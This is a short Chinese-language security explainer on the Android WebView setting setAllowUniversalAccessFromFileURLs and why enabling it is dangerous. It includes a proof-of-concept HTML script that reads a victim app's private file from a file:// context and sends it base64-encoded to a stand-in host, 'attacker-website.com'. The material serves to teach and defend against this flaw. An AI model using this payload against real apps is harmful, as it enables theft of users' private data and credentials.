WebSettings漏洞
WebSettings 概述
WebSettings 管理 WebView 的设置状态。当首次创建 WebView 时,它会获得一组默认设置。从 WebView#getSettings() 获得的 WebSettings 对象与 WebView 的生命周期相关联。
安全问题
setAllowUniversalAccessFromFileURLs
setAllowUniversalAccessFromFileURLs 设置是否应允许在文件方案 URL 上下文中的跨域请求访问来自任何来源的内容。这包括访问来自其他文件方案 URL 或 Web 上下文的内容。自 Android 4.1 以来,默认值为 false
。
启用此设置允许在 file://
上下文中加载的恶意脚本启动跨站点脚本攻击,访问任意本地文件,包括 WebView cookie、应用私有数据,甚至在任意网站上使用的凭据。
例如,如果应用允许您在 WebView 中打开任意链接,您可以传递到共享 HTML 文件的路径,该文件具有以下内容以窃取私有文件:
<!-- file:///sdcard/index.html -->
<script>
var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send('');
</script>
最后更新于